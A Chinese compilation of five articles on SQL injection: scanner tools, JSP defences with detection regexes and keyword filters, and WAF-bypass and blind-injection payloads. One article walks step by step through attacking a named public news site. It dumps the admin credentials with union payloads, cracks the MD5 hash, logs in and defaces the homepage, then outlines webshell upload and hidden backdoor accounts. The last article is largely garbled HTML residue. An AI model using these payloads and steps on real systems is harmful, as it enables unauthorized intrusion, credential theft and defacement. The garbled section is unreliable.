以下是小编整理的实施自动SQL注入攻击测试安全设置,本文共9篇,欢迎阅读分享。

篇1:安防有道:实施自动的SQL注入攻击测试

SQL注入是一种安全漏洞,攻击者可以利用这个安全漏洞向网络表格输入框中添加SQL代码以获得访问权。手工测试SQL注入的方法过去一直是确定数据库是否存在安全漏洞的惟一方法。挖掘返回的错误信息、增加省略符号并且设法猜测数据库结构信息是一项长期的和艰苦的过程。而且,这并不能保证你发现所有的SQL注入安全漏洞,很少能够查看或者提取数据。

现在,有一些工具能够实施AQL注入攻击。一些免费的和商业性的 工具都能够实施这种攻击。

如果你有一个连接到后端数据库的Web前端,允许ASP、ASP、.NET、CGI和类似的脚本语言支持的动态用户输入,你就可能遭到SQL注入攻击。你能做的就是以道德 (ethicalhacking)的方式对你自己的系统实施自动的SQL注入攻击,以便发现能够在外部攻破什么东西。不要选择这个或者省略那个,让你的工具为你做工作。

这是以自动的方式测试你的系统的AQL注入安全漏洞的两个步骤。我在这里简单介绍一下这个过程。

第一步:扫描安全漏洞

首先,你必须使用一个Web应用程序安全漏洞扫描器扫描逆的网站,看看是否存在任何输入过滤或者其它具体的SQL注入安全漏洞。由于我的时间总是很紧张并且需要良好的报告功能,我喜欢使用商用工具,如N-Stealth安全扫描器、Acunetix公司的Web安全漏洞扫描器和(我最喜欢的)SPIDynamicsWebInspect。Wikto等免费的工具通常也能发现这些安全漏洞。

图1显示的是WebInspect发现的两个不同的SQL注入安全漏洞的例子,

第二步:开始SQL注入

一旦你确定你的目标系统是否存在SQL注入安全漏洞,你的下一个步骤就是实施SQL注入过程并且确定能够从数据库中搜集到什么。请注意,我不建议注入实际的数据或者试图投放数据库表格,这两种做法对于你的数据库的安全是有害的。发现潜在的SQL注入漏洞是一回事,以自动的方式实际实施攻击是另一回事。

我喜欢的自动实施实际的SQL注入攻击的工具是SPIDynamics公司的AQL注入器(这个工具是WebInspect软件的一部分)。你还可以使用图2显示的Absinthe。

实施自动的SQL注入攻击测试图2:Absinthe工具用于自动实施SQL注入分析。

这两种工具能够让你实施基本的和SQL盲注攻击。这两种测试都应该实施,特别是如果基本的SQL注入攻击没有返回任何结果的情况下。这些工具能够以自动的方式非常快地查询和提取数据,在几分钟之内就可以列印大量的表格。

其它选择包括Foundstone公司制作的一种免费的Web服务测试框架。这个工具的名称是“WSDigger”,能够实施基本的SQL注入攻击。你还可以使用AutomagicSQL注入器进行一些自动的SQL注入查询。你还可以使用配置了SQL注入插件的“Sleuth”工具软件。但是,这个软件需要SA访问权限。这就消除了匿名外部测试的好处。

最后,如果你要在你现用的系统部外进行实际练习,并且学习更多的有关SQL注入和其它能够导致数据库被攻破的前端Web应用程序安全漏洞的知识,你可以查看Foundstone公司的“HacmeBank”,或者参考一下Web安全演示工具“WebGoat”。

你使用什么工具自动实施SQL注入攻击测试都没有关系,只要你能够了解它们是如何工作的并且得到预期的结果就行了。就做 要做的事情就行了。

篇2:关于JSP防范SQL注入攻击WEB安全

上周给别人做了个网站,无意间发现自己的作品有很多漏洞,在短短的20秒就被自己用sql注入法给干了.查了一点关于sql注入的资料,并且有点感悟,希望能与新手们分享一下.高手们见笑了!

SQL注入攻击的总体思路:

发现SQL注入位置;

判断服务器类型和后台数据库类型;

确定可执行情况

对于有些攻击者而言,一般会采取sql注入法.下面我也谈一下自己关于sql注入法的感悟.

注入法:

从理论上说,认证网页中会有型如:

select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前,如果没有进行必要的字符过滤,则很容易实施SQL注入.

如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:

select * from admin where username='abc’ or 1=1 and password='123’ 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份.

猜解法:

基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容.

还有一种方式可以获得你的数据库名和每张表的名.

就是通过在形如:www. /news?id=10'的方式来通过报错获得你的数据库名和表名!

对于jsp而言我们一般采取一下策略来应对:

1、PreparedStatement

如果你已经是稍有水平开发者,你就应该始终以PreparedStatement代替Statement.

以下是几点原因

1、代码的可读性和可维护性.

2、PreparedStatement尽最大可能提高性能.

3、最重要的一点是极大地提高了安全性.

到目前为止,有一些人(包括本人)连基本的恶义SQL语法都不知道.

String sql = “select * from tb_name where name= '” varname “' and passwd='” varpasswd “'”;

如果我们把[' or '1' = '1]作为name传入进来.密码随意,看看会成为什么?

select * from tb_name = 'or '1' = '1' and passwd = '随意' ;

'1'='1'肯定成立,可以任何通过验证.更有甚者:

把[';drop table tb_name;]作为varpasswd传入进来,则:

select * from tb_name = '随意' and passwd = '';drop table tb_name;有些数据库是不会让你成功的,但也有很多数据库就可以使这些语句得到执行.

而如果你使用预编译语句.你传入的任何内容就不会和原来的语句发生任何匹配的关系.(前提是数据库本身支持预编译,但上前可能没有什么服务端数据库不支持编译了,只有少数的桌面数据库,就是直接文件访问的那些只要全使用预编译语句,你就用不着对传入的数据做任何过虑.而如果使用普通的 statement,有可能要对drop,;等做费尽心机的判断和过虑.2、正则表达式

2.1、检测SQL meta-characters的正则表达式 /(')|(')|(--)|(#)|(#)/ix

2.2、修正检测SQL meta-characters的正则表达式 /((=)|(=))[^n]*((')|(')|(--)

|(;)|(:))/i

2.3、典型的 SQL 注入攻击的正则表达式 /w*((')|('))((o)|o|(O))((r)|r|(

R))/ix

2.4、检测SQL注入,UNION查询关键字的正则表达式 /((')|('))union/ix(')|(') - 单

引号和它的hex等值 union - union关键字.

2.5、检测MS SQL Server SQL注入攻击的正则表达式 /exec(s| ) (s|x)pw /ix

3、字符串过滤

public static String filterContent(String content){

String flt =“'|and|exec|insert|select|delete|update|count|*|%

|chr|mid|master|truncate|char|declare|;|or|-| |,”;

Stringfilter[] = flt.split(“|”);

for(int i=0;i

{

content.replace(filter[i], “”);

}

return content;

}

4、不安全字符屏蔽

本部分采用js来屏蔽,起的作用很小,这样用屏蔽关键字的方法虽然有一定作用,但是在实际应用中这些 SQL的关键字也可能成为真正的查询关键字,到那是被你屏蔽了那用户不是不能正常的使用了. 只要在代码规范上下点功夫就可以了.

凡涉及到执行的SQL中有变量时,用JDBC(或者其他数据持久层)提供的如:PreparedStatement就可以 ,切记不要用拼接字符串的方法就可以了.

功能介绍:检查是否含有“'”,“\”,“/”

参数说明:要检查的字符串

返回值:0:是 1:不是

函数名是

function check(a)

{

return 1;

fibdn = new Array (“'” ,“\”,“/”);

i=fibdn.length;

j=a.length;

for (ii=0;ii

{ for (jj=0;jj

{ temp1=a.charAt(jj);

temp2=fibdn[ii];

if (tem';p1==temp2)

{ return 0; }

}

}

return 1;

}

篇3:Web安全之SQL注入攻击脚本安全

前言: ①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促,

能力有限,不到之处请大家批评指正;

②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是诸位能看得懂

基本的 SQL 语句(想想海璐姐你就懂了);

③本晨讲形式为PPT+个人演讲+实际演示,但因为TTS征文限制,少去了很多效果,深表遗憾;

④原创 文章 ,达内首发,希望喜欢的同学,多多支持!如有疑问致信:chinanala@gmail

=============以下是晨讲内容脚本,实战演练部分配以文字说明=============

大家早上好!今天由我给大家带来《 web 安全之 SQL注入 篇》系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:

第一讲:“纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理。”;

第二讲:“实战演练:我们要在 互联网 上随机对网站进行友情检测,活学活用,举一反三”;

第三讲:“扩展内容:挂马,提权,留门。此讲内容颇具危害性,不予演示。仅作概述”。

这个主题涉及的东西还是比较多的,结合我们前期所学。主要是让大家切身体会一下,管中窥豹,起到知己知彼的作用。千里之堤溃于蚁穴,以后进入单位,从事相关程序开发,一定要谨小慎微。

问:大家知道骇客们攻击网站主要有哪些手法?

SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。

下面,就让我们一起推开计算机中那另一扇不为人知的门---

一、纸上谈兵

(一)了解注入原理

为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。

我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句 java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。

(二)架设注入环境

我们知道现在php作为一门网页编程语言真是风生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境,如 腾讯 的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌,首先是在本地架设wamp环境。需要用到的工具有:apache,mysql,php ,这几个组件可以单独下载安装,不过安装配置过程较为繁琐,还是建议新手直接从网上下载phpnow ,一个绿色程序,包含上述三个组件,傻瓜化操作就可以了。

然后呢,我们要建立 测试 用的数据表,编写html,php,文件,通过实例具体来演示通过SQL注入,登入后台管理员界面。这里,我之前已经写好了,大家看下:

1.创建一张试验用的数据表:

CREATE TABLE users (

id int(11) NOT NULL AUTO_INCREMENT,

username varchar(64) NOT NULL,

password varchar(64) NOT NULL,

email varchar(64) NOT NULL,

PRIMARY KEY (id),

UNIQUE KEY username (username)

);

添加一条记录用于测试:

INSERT INTO users (username,password,email)

VALUES('tarena',md5('admin'),'tarena@admin');

2.接下来,贴上登录界面的源代码:

Sql注入演示

Sql注入演示

用户名:

密  码:

当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)。

3.验证模块代码如下:

登录验证

$conn=@mysql_connect(“localhost”,'root','') or die(“数据库连接失败!”);;

mysql_select_db(“injection”,$conn) or die(“您要选择的数据库不存在”);

$name=$_POST['username'];

$pwd=$_POST['password'];

$sql=“select * from users where username='$name' and password='$pwd'”;

$query=mysql_query($sql);

$arr=mysql_fetch_array($query);

if(is_array($arr)){

header(“Location:manager.php”);

}else{

echo “您的用户名或密码输入有误,请重新登录!”;

}

?>

注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。

代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。

(三)演示注入手法

到这里,前期工作已经做好了,我们看这个登录界面,虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面,但从攻击者角度来说,透过现象看本质,我们应当意识到隐藏在这个登录页面背后的是一条select 语句---

OK! 接下来将展开我们的重头戏:SQL注入

填好正确的用户名(tarena)和密码(admin)后,点击提交,将会返回给我们“欢迎管理员”的界面。

因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:

select * from users where username='tarena' and password=md5('admin')

很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。

比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:

select * from users where username='' or 1=1#' and password=md5('')

语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:

select * from users where username='' or 1=1#' and password=md5('')

等价于

select * from users where username='' or 1=1

因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:

select * from users

没错,该sql语句的作用是检索users表中的所有字段

果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~

二、实战演练

OK,前面铺垫了那么多,算是给大家科普了,

现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 www.guoshang.tk 这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。

(一)积极备战

1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;

2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点

www.guoshang.tk;

谷歌搜索小技巧:筛选关键字:“inurl:/news/read.php?id=”

(二)狼烟四起

1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,

www.guoshang.tk/news/read.php?id=50

可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。

2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问

www.guoshang.tk/news/read.php?id=50

时数据库中执行的SQL语句大概是这样的:

Select * from [表名] where id=50

添加and 1=1后的SQL语句:

Select * from [表名] where id=50 and 1=1

由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的

添加and 1=2后的SQL语句:

Select * from [表名] where id=50 and 1=2

由于条件1=2永远为假,所以返回的页面和正常页面不一致

3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:

www.guoshang.tk/news/read.php?id=50

现在要判断数据库类型以及版本,构造语句如下:

www.guoshang.tk/news/read.php?id=50 and ord(mid(version,1,1))>51

发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0

以下版本或者其他类型数据库。

4。爆字段。接着我们再构造如下语句来猜表中字段:

a. www.guoshang.tk/news/read.php?id=50 order by 10

返回错误页面,说明字段小于10

b. www.guoshang.tk/news/read.php?id=50 order by 5

返回正常页面,说明字段介于5和10之间

c. www.guoshang.tk/news/read.php?id=50 order by 7

返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下

d. www.guoshang.tk/news/read.php?id=50 order by 6

返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。

5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:

www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6

我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。

6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下

www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                 1,2,database(),4,5,6

浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .

现在我们用同样的手法查询下 管理员信息 ,构造语句如下:

www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                 1,2,user(),4,5,6

返回 root@localhost ,是个管理员权限。

现在我们再用同样的手法查询用户名,密码,构造语句如下:

www.guoshang.tk/news/read.php?id=50 and 1=2 union select

1,2,username,4,5,6 from admin

返回 admin

www.guoshang.tk/news/read.php?id=50 and 1=2 union select                              1,2,password,4,5,6 from admin

返回 B2E5B76793EDA747382E81391AA3A400

7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(www.md5 ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)

8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:

①先试下几个比较常用的目录;

②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序,     分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;

③手工不通,借力工具。明小子,啊D,御剑,都可以。

9。这里我们发现此网站依然采用程序默认管理路径:

www.guoshang.tk/dede

输入用户名 admin ,密码 chinaadmin 成功登入。

接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。

卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛

现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!

至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。

三、扩展部分

鉴于此讲内容危害性较大,不予演示。只简述其流程。

(一)webshell提权

二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .

①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);

②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传

选项,上传我们实现准备的php网马文件(tarena.php);

③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);

④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。

(二)暗修栈道

浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:

①开启telnet服务

建立匿名账户,添加至超级管理员组;

②开启远程终端服务;

③自制木马触发事件...

因系统平台而异,这里不再赘言。

后注:①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才

会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。

②文中所述演示环境建立在同时满足两个条件下:

1.php配置文件中魔术引号已关闭;

2.建站程序中没有对用户输入字符进行过滤。

篇4:浅谈新型的sql注入测试脚本安全

前段时间,帮别人看网站,习惯性的’,and 1=1 其实知道这种肯定被过滤,但还是测试了

结果被脑残反问还有什么方法,的确有些时候思维被固化了,很多东西需要变通。

php+mysql

首先说判断:

Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null

或: and 2<=3

其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,等 都可用于判断

接着说注入

对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)

先说Union Select

对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4

Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?

可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去

查查相关资料,有异议的可给我留言.

当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:

id=1+union/*&name=*/select+1,2

代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2

这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻

下面说说Blind SqlIjection(盲注)

一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是

ord(mid(password,1,1))=56

在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据

此前,仍然向大家推荐一些新型的手法:

find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1

strcmp 例: strcmp(left(‘password’,1), 0×56) = 1

将这些函数套如子查询就是:

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false

老外NB 方法 还有 -.-

悲剧还是绕不过去,nnd。要是国内

的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高

www.xxx/index.php?content=more_product&id=-17 and (select 1)=(select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-

www.xxx/index.php?content=more_product&id=-17 and (select 1)=(select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u

ser()),3,4,5,6–+-

篇5:使用MySQL字符串运算实施精巧化SQL注入攻击脚本安全

Ref:[Abusing MySQL string arithmetic for tiny SQL Injections]

我们先来看这样一个场景,

有以下表结构:

mysql<“ pre=”pre“ spangt=”span><“ spangtltspangt------------------------------------------------------------lt=”span>+----------+--------------+------+-----+---------+----------------+<“ spangtltspangt0.00lt=”span>0.00<“ spangtltspangt32lt=”span>32<“ spangtltspangt3lt=”span>3<“ spangtltspangt9lt=”span>9<“ spangtltspangtauto_incrementlt=”span>auto_increment<“ spangtltspangtcharlt=”span>char<“ spangtltspangtdefaultlt=”span>Default<“ spangtltspangtdesc=”span>desc“ spangtltspangtextralt=”span>Extra<“ spangtltspangtfieldlt=”span>Field<“ spangtltspangtgtlt=”span>><“ spangtltspangtidlt=”span>id<“ spangtltspangtinlt=”span>in<“ spangtltspangtkeylt=”span>Key<“ spangtltspangtlt=”span>)<“ spangtltspangtmediumintlt=”span>mediumint<“ spangtltspangtnamelt=”span>name<“ spangtltspangtnolt=”span>NO<“ spangtltspangtnulllt=”span>Null<“ spangtltspangtpasswordlt=”span>password<“ spangtltspangtprilt=”span>PRI<“ spangtltspangtrowslt=”span>rows<“ spangtltspangtseclt=”span>sec<“ spangtltspangtsetlt=”span>set<“ spangtltspangttypelt=”span>Type<“ spangtltspangtunilt=”span>UNI<“ style=”margin-top: 0px; margin-bottom: 22px; padding: 0px 5px 16px; border-width: 1px 1px 1px 15px; border-style. solid; border-color: rgb(204, 204, 204); vertical-align: baseline; overflow: auto; width: 589px; line-height: 16px; color: rgb(85, 85, 85); font-family: 'Courier New', FixedSys; background-color: rgb(250, 250, 250);“>

执行select * from admin where name=”;,没有匹配到任何记录。

mysql>select * from admin where name = ''; Empty set (0.00 sec)

那么我们来执行select * from admin where name = ”-”;

+----+--------+----------------------------------+<” pre=“pre” spangt=“span><” spangtltspangt----------------------------------------------lt=“span>+----+--------+----------------------------------+<” spangtltspangt0.00lt=“span>0.00<” spangtltspangt1lt=“span>1<” spangtltspangt2lt=“span>2<” spangtltspangt3lt=“span>3<” spangtltspangt4lt=“span>4<” spangtltspangt998976f44e2a668k5dc21e54b3401645lt=“span>998976f44e2a668k5dc21e54b3401645<” spangtltspangtadminlt=“span>admin<” spangtltspangtc6dabaeeb05f2bf8690bab15e3afb022lt=“span>c6dabaeeb05f2bf8690bab15e3afb022<” spangtltspangtff80e8508d39047460921792273533a4lt=“span>ff80e8508d39047460921792273533a4<” spangtltspangtidlt=“span>id<” spangtltspangtinlt=“span>in<” spangtltspangtlt=“span>)<” spangtltspangtn00blt=“span>n00b<” spangtltspangtnamelt=“span>name<” spangtltspangtpasswordlt=“span>password<” spangtltspangtpnig0slt=“span>pnig0s<” spangtltspangtrowslt=“span>rows<” spangtltspangtseclt=“span>sec<” spangtltspangtsetlt=“span>set<” spangtltspangtwarningslt=“span>warnings<” style=“margin-top: 0px; margin-bottom: 22px; padding: 0px 5px 16px; border-width: 1px 1px 1px 15px; border-style. solid; border-color: rgb(204, 204, 204); vertical-align: baseline; overflow: auto; width: 589px; line-height: 16px; color: rgb(85, 85, 85); font-family: 'Courier New', FixedSys; background-color: rgb(250, 250, 250);”>

可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:

mysql<“ in=”in“ incorrect=”incorrect“ lt=”<“ n00b=”n00b“ pre=”pre“ rows=”rows“ seclt=”sec)<“ set=”set“ spangt=”span><“ spangtltspangt=”span>“ spangtltspangt---------------------------------------------------------lt=”span>+---------+------+------------------------------------------<“ spangtltspangt1292lt=”span>1292<“ spangtltspangt:lt=”span>:<“ spangtltspangtcodelt=”span>Code<“ spangtltspangtgtlt=”span>><“ spangtltspangtincorrect=”span>incorrect“ spangtltspangtlevellt=”span>Level<“ spangtltspangtlt=”span>|<“ spangtltspangtmessagelt=”span>Message<“ spangtltspangtpnig0slt=”span>pnig0s<“ spangtltspangtshow=”span>show“ spangtltspangttruncatedlt=”span>Truncated<“ spangtltspangtwarninglt=”span>Warning<“ style=”margin-top: 0px; margin-bottom: 22px; padding: 0px 5px 16px; border-width: 1px 1px 1px 15px; 